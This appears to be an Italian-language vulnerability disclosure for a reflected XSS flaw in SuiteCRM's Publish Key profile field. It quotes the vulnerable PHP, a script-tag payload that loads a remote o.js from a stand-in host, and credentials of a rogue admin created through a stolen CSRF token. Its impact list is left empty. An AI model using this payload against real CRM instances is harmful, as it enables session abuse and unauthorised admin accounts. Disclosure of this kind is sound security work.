
Una vulnerabilità di sicurezza in SuiteCRM che può essere sfruttata per rubare token CSRF ed eseguire azioni non autorizzate, come la creazione di nuovi utenti amministrativi senza un'autenticazione adeguata.
Il campo "Publish Key" nella pagina Edit Profile di SuiteCRM è vulnerabile a Cross-Site Scripting (XSS) riflesso, consentendo a un attaccante di iniettare codice JavaScript malevolo. Ciò può essere sfruttato per rubare token CSRF ed eseguire azioni non autorizzate, come la creazione di nuovi utenti amministrativi senza una corretta autenticazione.
La vulnerabilità deriva da una validazione e sanificazione insufficiente dell'input del campo Publish Key all'interno dell'applicazione SuiteCRM. Quando un attaccante inietta uno script malevolo, questo viene eseguito nel contesto della sessione di un utente autenticato. Lo script iniettato (o.js) sfrutta quindi il token CSRF catturato per forgiare richieste che creano nuovi utenti amministrativi, compromettendo di fatto l'integrità e la sicurezza dell'istanza CRM.
Questa vulnerabilità è un problema critico di Cross-Site Scripting (XSS). Il suo impatto include:
$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);
$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";
$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";
$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);
<script src=//localhost:1235/o.js>
Username - imposter
Password - ok